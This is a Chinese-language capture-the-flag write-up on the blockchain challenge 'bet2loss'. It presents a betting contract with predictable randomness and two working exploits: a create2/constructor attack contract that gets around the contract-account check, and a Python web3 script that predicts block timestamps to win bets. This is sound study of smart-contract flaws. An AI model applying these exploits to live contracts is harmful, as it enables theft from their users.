是这一届的XCTF收官之战,不过只浅浅的参与了一下,做了一道blockchain的题目——bet2loss。听说还有web版本的做法,但还没见到是怎么做的,web这一块也不太了解。这篇文章主要还是讨论两种智能合约版本的做法。
题目合约
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394 |
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract BetToken { /* owner */ address owner; /* token related */ mapping(address => uint256) public balances; /* random related */ uint256 nonce; uint256 cost; uint256 lasttime; mapping(address => bool) public airdroprecord; mapping(address => uint256) public logger; constructor() {owner = msg.sender; balances[msg.sender] = 100000; nonce = 0; cost = 10; lasttime = block.timestamp; } function seal(address to, uint256 amount) public {require(msg.sender == owner, "you are not owner"); balances[to] += amount; } function checkWin(address candidate) public {require(msg.sender == owner, "you are not owner"); require(candidate != owner, "you are cheating"); require(balances[candidate] > 2000, "you still not win"); balances[owner] += balances[candidate]; balances[candidate] = 0; } function transferTo(address to, uint256 amount) public pure { require(amount == 0, "this function is not impelmented yet"); } function airdrop() public { require( airdroprecord[msg.sender] == false, "you already got your airdop" ); airdroprecord[msg.sender] = true; balances[msg.sender] += 30; } function bet(uint256 value, uint256 mod) public { address _addr = msg.sender; // make sure pseudo-random is strong require(lasttime != block.timestamp); require(mod >= 2 && mod <= 12); require(logger[msg.sender] <= 20); logger[msg.sender] += 1; require(balances[msg.sender] >= cost); // watchout, the sender need to approve such first balances[msg.sender] -= cost; // limit value = value % mod; // not contract uint32 size; assembly { size := extcodesize(_addr) } require(size == 0); // rnd gen uint256 rand = uint256( keccak256( abi.encodePacked( nonce, block.timestamp, block.difficulty, msg.sender ) ) ) % mod; nonce += 1; lasttime = block.timestamp; // for one, max to win 12 * 12 - 10 == 134 // if 20 times all right, will win 2680 if (value == rand) { balances[msg.sender] += cost * mod; } }} |
题目分析
题目合约并不复杂,获取flag的条件只需要 require(balances[candidate] > 2000, "you still not win");
有大于两千个代币即可。而获取代币有两个途径
- 通过空投
airdrop()
可以获取30个代币,但是一个账户只能调用一次。 - 通过猜数
bet
,一次花费10个代币,可以赢得2倍到12倍的本金,这取决于mod。但bet函数有三个限制:一个账户最多只能调用二十次;每个账户在每一个区块只能调用bet一次;只有外部账户可以调用bet。(因此一个账户最多可以通过bet获取到 (12 * 10 - 10 ) * 20 = 2200 个代币。
显然,题目的流程就是我们通过空投得到本金,然后进行猜数。20次猜数,一次最多赚110,由于30块的空投本金,因此,想要最终获取2000+的代币,我们至少需要猜对 18 次 mod 为 12 的bet,且只能猜错一次。(猜错两次就只剩1990了)
而需要猜的数字
12345678910 |
uint256 rand = uint256( keccak256( abi.encodePacked( nonce, block.timestamp, block.difficulty, msg.sender ) )) % mod; |
nonce由题目合约记录,timestamp是区块的时间戳,difficulty是区块的复杂度,msg.sender是交易发起者,这些在区块打包的时候都是确定的,因此并没有什么难度。唯一需要绕过的点在于,bet要求交易发起者必须是外部账户。
解题思路
解题思路一:
这里我们需要用到两个工具:
-
constructor函数:在EVM执行构造函数阶段,该合约地址尚不存在可执行代码。
-
creat2函数:其可以在同一个地址反复部署合约(不过需要该地址前一个合约自毁)
于是一个很自然的想法,利用create2函数在同一个地址反复部署攻击合约,而攻击合约将所有攻击操作写在constructor函数内,且constructor函数以自毁函数selfdestruct收尾。
1234567891011121314151617181920212223242526272829303132333435363738394041 |
pragma solidity ^0.8.0;import "./bet.sol";contract pwn { constructor(address target, uint256 mod) public { main m = main(msg.sender); uint256 nonce = m.nonce(); BetToken t = BetToken(target); if (t.balances(address(this)) == 0) { t.airdrop(); } uint256 value = uint256( keccak256( abi.encodePacked( nonce, block.timestamp, block.difficulty, address(this) ) ) ) % mod; t.bet(value, mod); selfdestruct(payable(msg.sender)); }}contract main { address public a; bytes32 public s = hex"42"; uint256 public nonce; constructor(uint256 _nonce) public { nonce = _nonce; } function hack(address target, uint256 mod) public { a = address(new pwn{salt: s}(target, mod)); nonce++; }} |
首先获取题目合约的nonce,然后部署main,并不断调用hack函数即可。
实际题目部署在私链上,这里我们需要用一下python 的web3模块,具体操作可以参考这篇文章。
PS:在比赛的时候由于create2用错了,导致其实这条路并没有走通,一度以为自己想错了,是赛后看了这位师傅的wp才悟的。
解题思路二:
上面的方法我们借用了constructor函数和create2函数的特性绕过了对合约账户的检测,为什么我们这里想要使用攻击合约去执行呢,主要是因为随机数的预测需要使用到几个在区块打包时使用的数据,虽然这些都是确认的,但是我们只能在区块打包后才获取到,而只有合约才能在区块打包时就获取到数据,比如时间戳。
但是,这里我们是否可以预测一下呢?
随机数涉及到的总共四个参数:其中nonce我们可以读合约的slot获取,msg.sender就是我们自己,复杂度经过测试发现一直是 2,而区块时间戳,由于题目坏境的限制,我们似乎无法读取,但是注意到题目的bet函数有记录时间戳为lasttime进slot的操作,于是这里我们不断地调用bet函数,然后读取合约存储的时间戳,发现,可能由于是私链的环境配置原因,出块时间是固定的,每一个新的区块的timestamp会加30,是线性的。于是我们可以获取一个区块作为起点,然后后续的区块根据区块高度就能够计算出timestamp了。具体计算规则 newtime = starttime + (newblock - startblock) * 30。不过实际操作的时候可能由于延迟还是啥的会有一丢丢偏差,可以在后面加一个offset。具体的offset可以在第一次猜的时候确定,然后后面就可以猜对19次了。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172 |
from Crypto.Util.number import *from web3 import Web3,HTTPProviderfrom eth_abi.packed import encode_abi_packedfrom eth_abi import encode_abiimport timedef deploy(rawTx): signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey) hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex() receipt = web3.eth.waitForTransactionReceipt(hashTx) return receiptweb3=Web3(HTTPProvider("http://123.60.36.208:8545"))acct= web3.eth.account.from_key('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')target="0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7"airdrop = { 'from': acct.address, 'to': target, 'nonce': web3.eth.getTransactionCount(acct.address), 'gasPrice': web3.toWei(1, 'gwei'), 'gas': 555555, 'value': web3.toWei(0, 'ether'), 'data': "0x3884d635", "chainId": 6666}print("airdrop")info=deploy(airdrop)if info['status']==1: print("airdrop done")else: print("sth error")FLAG=Trueoffset=0for i in range(0,20): print(i) nonce=bytes_to_long(web3.eth.getStorageAt(target,2)) diffcult=2 now_block=web3.eth.block_number start_block=1485 start_time=1656158960 pre_time=(now_block-start_block)*30+start_time+offset #always 1230 due to init value guess_num=bytes_to_long(Web3.keccak(encode_abi_packed(['uint256','uint','uint','address'],[nonce,pre_time,diffcult,acct.address])))%12 data_bet='0x6ffcc719'+hex(guess_num)[2:].rjust(64,'0')+'c'.rjust(64,'0') bet = { 'from': acct.address, 'nonce': web3.eth.getTransactionCount(acct.address), 'to': target, 'gasPrice': web3.toWei(1, 'gwei'), 'gas': 555555, 'value': web3.toWei(0, 'ether'), 'data': data_bet, "chainId": 6666 } info=deploy(bet) if info['status']==1: print("bet done",i) else: print("sth error") nowtime=bytes_to_long(web3.eth.getStorageAt(target,4)) if FLAG: offset = nowtime-pre_time FLAG = False print(web3.eth.block_number,pre_time,nowtime,nowtime-pre_time) time.sleep(30) |
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论